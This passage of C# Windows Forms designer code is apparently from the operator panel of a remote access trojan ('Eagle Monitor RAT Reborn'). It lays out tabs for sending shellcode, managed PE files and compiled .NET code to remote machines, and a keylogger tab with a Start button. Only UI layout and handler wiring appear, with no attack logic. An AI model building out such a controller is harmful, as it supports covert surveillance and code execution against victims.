System.Drawing.Size(129, 34); this.addManagedPEContextMenuStripToolStripMenuItem.Text = "Add"; this.addManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addManagedPEContextMenuStripToolStripMenuItem_Click); // // removeManagedPEContextMenuStripToolStripMenuItem // this.removeManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeManagedPEContextMenuStripToolStripMenuItem.Name = "removeManagedPEContextMenuStripToolStripMenuItem"; this.removeManagedPEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeManagedPEContextMenuStripToolStripMenuItem.Text = "Remove"; this.removeManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeManagedPEContextMenuStripToolStripMenuItem_Click); // // sendManagedPEContextMenuStripToolStripMenuItem // this.sendManagedPEContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.sendManagedPEContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.sendManagedPEContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px; this.sendManagedPEContextMenuStripToolStripMenuItem.Name = "sendManagedPEContextMenuStripToolStripMenuItem"; this.sendManagedPEContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.sendManagedPEContextMenuStripToolStripMenuItem.Text = "Send"; this.sendManagedPEContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.sendManagedPEContextMenuStripToolStripMenuItem_Click); // // tabPage20 // this.tabPage20.Controls.Add(this.shellcodeDataGridView); this.tabPage20.Controls.Add(this.guna2VScrollBar8); this.tabPage20.Location = new System.Drawing.Point(4, 44); this.tabPage20.Name = "tabPage20"; this.tabPage20.Size = new System.Drawing.Size(1075, 378); this.tabPage20.TabIndex = 2; this.tabPage20.Text = "Shellcode"; this.tabPage20.UseVisualStyleBackColor = true; // // shellcodeDataGridView // this.shellcodeDataGridView.AllowDrop = true; this.shellcodeDataGridView.AllowUserToAddRows = false; this.shellcodeDataGridView.AllowUserToDeleteRows = false; this.shellcodeDataGridView.AllowUserToResizeColumns = false; this.shellcodeDataGridView.AllowUserToResizeRows = false; this.shellcodeDataGridView.BackgroundColor = System.Drawing.Color.White; this.shellcodeDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.shellcodeDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.shellcodeDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle37.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle37.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle37.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle37.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle37.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle37.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.shellcodeDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle37; this.shellcodeDataGridView.ColumnHeadersHeight = 36; this.shellcodeDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column32}); this.shellcodeDataGridView.ContextMenuStrip = this.shellcodeContextMenuStrip; this.shellcodeDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.shellcodeDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.shellcodeDataGridView.EnableHeadersVisualStyles = false; this.shellcodeDataGridView.GridColor = System.Drawing.Color.White; this.shellcodeDataGridView.Location = new System.Drawing.Point(0, 0); this.shellcodeDataGridView.Name = "shellcodeDataGridView"; this.shellcodeDataGridView.ReadOnly = true; this.shellcodeDataGridView.RowHeadersVisible = false; dataGridViewCellStyle39.BackColor = System.Drawing.Color.White; dataGridViewCellStyle39.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle39.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle39.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.shellcodeDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle39; this.shellcodeDataGridView.RowTemplate.Height = 26; this.shellcodeDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.shellcodeDataGridView.Size = new System.Drawing.Size(1057, 378); this.shellcodeDataGridView.TabIndex = 15; this.shellcodeDataGridView.TabStop = false; this.shellcodeDataGridView.DragDrop += new System.Windows.Forms.DragEventHandler(this.shellcodeDataGridView_DragDrop); this.shellcodeDataGridView.DragEnter += new System.Windows.Forms.DragEventHandler(this.shellcodeDataGridView_DragEnter); this.shellcodeDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.shellcodeDataGridView_MouseUp); // // Column32 // this.Column32.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle38.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column32.DefaultCellStyle = dataGridViewCellStyle38; this.Column32.FillWeight = 25F; this.Column32.HeaderText = "Path"; this.Column32.Name = "Column32"; this.Column32.ReadOnly = true; // // shellcodeContextMenuStrip // this.shellcodeContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.shellcodeContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addShellCodeContextMenuStripToolStripMenuItem, this.removeShellCodeContextMenuStripToolStripMenuItem, this.sendShellcodeToolStripMenuItem}); this.shellcodeContextMenuStrip.Name = "clientContextMenuStrip"; this.shellcodeContextMenuStrip.Size = new System.Drawing.Size(130, 106); // // addShellCodeContextMenuStripToolStripMenuItem // this.addShellCodeContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addShellCodeContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addShellCodeContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addShellCodeContextMenuStripToolStripMenuItem.Name = "addShellCodeContextMenuStripToolStripMenuItem"; this.addShellCodeContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.addShellCodeContextMenuStripToolStripMenuItem.Text = "Add"; this.addShellCodeContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addShellCodeContextMenuStripToolStripMenuItem_Click); // // removeShellCodeContextMenuStripToolStripMenuItem // this.removeShellCodeContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeShellCodeContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeShellCodeContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeShellCodeContextMenuStripToolStripMenuItem.Name = "removeShellCodeContextMenuStripToolStripMenuItem"; this.removeShellCodeContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeShellCodeContextMenuStripToolStripMenuItem.Text = "Remove"; this.removeShellCodeContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeShellCodeContextMenuStripToolStripMenuItem_Click); // // sendShellcodeToolStripMenuItem // this.sendShellcodeToolStripMenuItem.BackColor = System.Drawing.Color.White; this.sendShellcodeToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.sendShellcodeToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.send_letter_32px; this.sendShellcodeToolStripMenuItem.Name = "sendShellcodeToolStripMenuItem"; this.sendShellcodeToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.sendShellcodeToolStripMenuItem.Text = "Send"; this.sendShellcodeToolStripMenuItem.Click += new System.EventHandler(this.sendShellcodeToolStripMenuItem_Click); // // guna2VScrollBar8 // this.guna2VScrollBar8.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar8.FillColor = System.Drawing.Color.White; this.guna2VScrollBar8.InUpdate = false; this.guna2VScrollBar8.LargeChange = 10; this.guna2VScrollBar8.Location = new System.Drawing.Point(1057, 0); this.guna2VScrollBar8.Name = "guna2VScrollBar8"; this.guna2VScrollBar8.ScrollbarSize = 18; this.guna2VScrollBar8.Size = new System.Drawing.Size(18, 378); this.guna2VScrollBar8.TabIndex = 16; this.guna2VScrollBar8.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); // // tabPage21 // this.tabPage21.Controls.Add(this.platformGuna2ComboBox); this.tabPage21.Controls.Add(this.languageComboBox); this.tabPage21.Controls.Add(this.codeTextBox); this.tabPage21.Controls.Add(this.testDotNetGuna2Button); this.tabPage21.Controls.Add(this.sendDotNetGuna2Button); this.tabPage21.Controls.Add(this.importLibDataGridView); this.tabPage21.Location = new System.Drawing.Point(4, 44); this.tabPage21.Name = "tabPage21"; this.tabPage21.Size = new System.Drawing.Size(1075, 378); this.tabPage21.TabIndex = 3; this.tabPage21.Text = "DotNet Code"; this.tabPage21.UseVisualStyleBackColor = true; // // platformGuna2ComboBox // this.platformGuna2ComboBox.Animated = true; this.platformGuna2ComboBox.AutoRoundedCorners = true; this.platformGuna2ComboBox.BackColor = System.Drawing.Color.White; this.platformGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.platformGuna2ComboBox.BorderRadius = 17; this.platformGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.platformGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.platformGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.platformGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.platformGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.platformGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.platformGuna2ComboBox.ItemHeight = 30; this.platformGuna2ComboBox.Items.AddRange(new object[] { "x86", "x64", "anycpu"}); this.platformGuna2ComboBox.Location = new System.Drawing.Point(178, 6); this.platformGuna2ComboBox.Name = "platformGuna2ComboBox"; this.platformGuna2ComboBox.Size = new System.Drawing.Size(168, 36); this.platformGuna2ComboBox.StartIndex = 2; this.platformGuna2ComboBox.TabIndex = 58; this.platformGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // languageComboBox // this.languageComboBox.Animated = true; this.languageComboBox.AutoRoundedCorners = true; this.languageComboBox.BackColor = System.Drawing.Color.White; this.languageComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.languageComboBox.BorderRadius = 17; this.languageComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.languageComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.languageComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.languageComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.languageComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.languageComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.languageComboBox.ItemHeight = 30; this.languageComboBox.Items.AddRange(new object[] { "C#", "VB"}); this.languageComboBox.Location = new System.Drawing.Point(3, 6); this.languageComboBox.Name = "languageComboBox"; this.languageComboBox.Size = new System.Drawing.Size(168, 36); this.languageComboBox.StartIndex = 0; this.languageComboBox.TabIndex = 57; this.languageComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.languageComboBox.SelectedIndexChanged += new System.EventHandler(this.languageComboBox_SelectedIndexChanged); // // codeTextBox // this.codeTextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left))); this.codeTextBox.AutoCompleteBracketsList = new char[] { '(', ')', '{', '}', '[', ']', '\"', '\"', '\'', '\''}; this.codeTextBox.AutoIndentCharsPatterns = "\r\n^\\s*[\\w\\.]+(\\s\\w+)?\\s*(?=)\\s*(?[^;]+);\r\n^\\s*(case|default)\\s*[^:]" + "*(?:)\\s*(?[^;]+);\r\n"; this.codeTextBox.AutoScrollMinSize = new System.Drawing.Size(370, 168); this.codeTextBox.BackBrush = null; this.codeTextBox.BracketsHighlightStrategy = FastColoredTextBoxNS.BracketsHighlightStrategy.Strategy2; this.codeTextBox.CharHeight = 14; this.codeTextBox.CharWidth = 8; this.codeTextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.codeTextBox.DisabledColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(180)))), ((int)(((byte)(180)))), ((int)(((byte)(180))))); this.codeTextBox.IsReplaceMode = false; this.codeTextBox.Language = FastColoredTextBoxNS.Language.CSharp; this.codeTextBox.LeftBracket = '('; this.codeTextBox.LeftBracket2 = '{'; this.codeTextBox.Location = new System.Drawing.Point(2, 47); this.codeTextBox.Margin = new System.Windows.Forms.Padding(2); this.codeTextBox.Name = "codeTextBox"; this.codeTextBox.Paddings = new System.Windows.Forms.Padding(0); this.codeTextBox.RightBracket = ')'; this.codeTextBox.RightBracket2 = '}'; this.codeTextBox.SelectionColor = System.Drawing.Color.FromArgb(((int)(((byte)(60)))), ((int)(((byte)(0)))), ((int)(((byte)(0)))), ((int)(((byte)(255))))); this.codeTextBox.ServiceColors = ((FastColoredTextBoxNS.ServiceColors)(resources.GetObject("codeTextBox.ServiceColors"))); this.codeTextBox.Size = new System.Drawing.Size(849, 329); this.codeTextBox.TabIndex = 37; this.codeTextBox.Text = resources.GetString("codeTextBox.Text"); this.codeTextBox.Zoom = 100; // // testDotNetGuna2Button // this.testDotNetGuna2Button.Animated = true; this.testDotNetGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.testDotNetGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.testDotNetGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.testDotNetGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.testDotNetGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.testDotNetGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.testDotNetGuna2Button.ForeColor = System.Drawing.Color.White; this.testDotNetGuna2Button.Location = new System.Drawing.Point(352, 6); this.testDotNetGuna2Button.Name = "testDotNetGuna2Button"; this.testDotNetGuna2Button.Size = new System.Drawing.Size(157, 36); this.testDotNetGuna2Button.TabIndex = 36; this.testDotNetGuna2Button.Text = "Test"; this.testDotNetGuna2Button.Click += new System.EventHandler(this.testDotNetGuna2Button_Click); // // sendDotNetGuna2Button // this.sendDotNetGuna2Button.Animated = true; this.sendDotNetGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.sendDotNetGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.sendDotNetGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.sendDotNetGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.sendDotNetGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.sendDotNetGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.sendDotNetGuna2Button.ForeColor = System.Drawing.Color.White; this.sendDotNetGuna2Button.Location = new System.Drawing.Point(516, 6); this.sendDotNetGuna2Button.Name = "sendDotNetGuna2Button"; this.sendDotNetGuna2Button.Size = new System.Drawing.Size(157, 36); this.sendDotNetGuna2Button.TabIndex = 35; this.sendDotNetGuna2Button.Text = "Send"; this.sendDotNetGuna2Button.Click += new System.EventHandler(this.sendDotNetGuna2Button_Click); // // importLibDataGridView // this.importLibDataGridView.AllowUserToAddRows = false; this.importLibDataGridView.AllowUserToDeleteRows = false; this.importLibDataGridView.AllowUserToResizeColumns = false; this.importLibDataGridView.AllowUserToResizeRows = false; this.importLibDataGridView.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.importLibDataGridView.BackgroundColor = System.Drawing.Color.White; this.importLibDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.importLibDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.importLibDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle40.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle40.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle40.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle40.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle40.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle40.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle40.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.importLibDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle40; this.importLibDataGridView.ColumnHeadersHeight = 36; this.importLibDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column31}); this.importLibDataGridView.ContextMenuStrip = this.importLibContextMenuStrip; this.importLibDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.importLibDataGridView.EnableHeadersVisualStyles = false; this.importLibDataGridView.GridColor = System.Drawing.Color.White; this.importLibDataGridView.Location = new System.Drawing.Point(856, 0); this.importLibDataGridView.Name = "importLibDataGridView"; this.importLibDataGridView.ReadOnly = true; this.importLibDataGridView.RowHeadersVisible = false; dataGridViewCellStyle42.BackColor = System.Drawing.Color.White; dataGridViewCellStyle42.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle42.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle42.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.importLibDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle42; this.importLibDataGridView.RowTemplate.Height = 26; this.importLibDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.importLibDataGridView.Size = new System.Drawing.Size(219, 378); this.importLibDataGridView.TabIndex = 14; this.importLibDataGridView.TabStop = false; this.importLibDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.importLibDataGridView_MouseUp); // // Column31 // this.Column31.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle41.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column31.DefaultCellStyle = dataGridViewCellStyle41; this.Column31.FillWeight = 25F; this.Column31.HeaderText = "Imports"; this.Column31.Name = "Column31"; this.Column31.ReadOnly = true; // // importLibContextMenuStrip // this.importLibContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.importLibContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addImportLibContextMenuStripToolStripMenuItem, this.removeImportLibContextMenuStripToolStripMenuItem}); this.importLibContextMenuStrip.Name = "clientContextMenuStrip"; this.importLibContextMenuStrip.Size = new System.Drawing.Size(130, 72); // // addImportLibContextMenuStripToolStripMenuItem // this.addImportLibContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addImportLibContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addImportLibContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addImportLibContextMenuStripToolStripMenuItem.Name = "addImportLibContextMenuStripToolStripMenuItem"; this.addImportLibContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.addImportLibContextMenuStripToolStripMenuItem.Text = "Add"; this.addImportLibContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.addImportLibContextMenuStripToolStripMenuItem_Click); // // removeImportLibContextMenuStripToolStripMenuItem // this.removeImportLibContextMenuStripToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeImportLibContextMenuStripToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeImportLibContextMenuStripToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeImportLibContextMenuStripToolStripMenuItem.Name = "removeImportLibContextMenuStripToolStripMenuItem"; this.removeImportLibContextMenuStripToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeImportLibContextMenuStripToolStripMenuItem.Text = "Remove"; this.removeImportLibContextMenuStripToolStripMenuItem.Click += new System.EventHandler(this.removeImportLibContextMenuStripToolStripMenuItem_Click); // // tabPage16 // this.tabPage16.Controls.Add(this.keystrokeRichTextBox); this.tabPage16.Controls.Add(this.panel12); this.tabPage16.Controls.Add(this.keyloggerGuna2Button); this.tabPage16.Location = new System.Drawing.Point(4, 44); this.tabPage16.Name = "tabPage16"; this.tabPage16.Padding = new System.Windows.Forms.Padding(3); this.tabPage16.Size = new System.Drawing.Size(1083, 426); this.tabPage16.TabIndex = 2; this.tabPage16.Text = "Keylogger"; this.tabPage16.UseVisualStyleBackColor = true; // // keystrokeRichTextBox // this.keystrokeRichTextBox.BackColor = System.Drawing.Color.White; this.keystrokeRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None; this.keystrokeRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill; this.keystrokeRichTextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.keystrokeRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.keystrokeRichTextBox.Location = new System.Drawing.Point(3, 38); this.keystrokeRichTextBox.Name = "keystrokeRichTextBox"; this.keystrokeRichTextBox.Size = new System.Drawing.Size(1077, 385); this.keystrokeRichTextBox.TabIndex = 44; this.keystrokeRichTextBox.Text = ""; // // panel12 // this.panel12.Dock = System.Windows.Forms.DockStyle.Top; this.panel12.Location = new System.Drawing.Point(3, 33); this.panel12.Name = "panel12"; this.panel12.Size = new System.Drawing.Size(1077, 5); this.panel12.TabIndex = 38; // // keyloggerGuna2Button // this.keyloggerGuna2Button.Animated = true; this.keyloggerGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.keyloggerGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.keyloggerGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.keyloggerGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.keyloggerGuna2Button.Dock = System.Windows.Forms.DockStyle.Top; this.keyloggerGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.keyloggerGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.keyloggerGuna2Button.ForeColor = System.Drawing.Color.White; this.keyloggerGuna2Button.Location = new System.Drawing.Point(3, 3); this.keyloggerGuna2Button.Name = "keyloggerGuna2Button"; this.keyloggerGuna2Button.Size = new System.Drawing.Size(1077, 30); this.keyloggerGuna2Button.TabIndex = 37; this.keyloggerGuna2Button.Text = "Start"; this.keyloggerGuna2Button.Click += new System.EventHandler(this.keyloggerGuna2Button_Click); // // tabPage17 // this.tabPage17.Controls.Add(this.informationGuna2TabControl); this.tabPage17.Location = new System.Drawing.Point(4, 44); this.tabPage17.Name = "tabPage17"; this.tabPage17.Size = new System.Drawing.Size(1083, 426); this.tabPage17.TabIndex = 3; this.tabPage17.Text = "Information"; this.tabPage17.UseVisualStyleBackColor = true; // // informationGuna2TabControl // this.informationGuna2TabControl.Controls.Add(this.tabPage30); this.informationGuna2TabControl.Controls.Add(this.tabPage31); this.informationGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill; this.informationGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40); this.informationGuna2TabControl.Location = new System.Drawing.Point(0, 0); this.informationGuna2TabControl.Name = "informationGuna2TabControl"; this.informationGuna2TabControl.SelectedIndex = 0; this.informationGuna2TabControl.Size = new System.Drawing.Size(1083, 426); this.informationGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty; this.informationGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro; this.informationGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.informationGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; this.informationGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.informationGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; this.informationGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; this.informationGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.informationGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); this.informationGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); this.informationGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; this.informationGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.informationGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); this.informationGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); this.informationGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.informationGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); this.informationGuna2TabControl.TabIndex = 36; this.informationGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; this.informationGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; // // tabPage30 // this.tabPage30.BackColor = System.Drawing.Color.White; this.tabPage30.Controls.Add(this.retrieveInformationGuna2Button); this.tabPage30.Controls.Add(this.panel22); this.tabPage30.Controls.Add(this.guna2GroupBox2); this.tabPage30.Controls.Add(this.guna2GroupBox1); this.tabPage30.Location = new 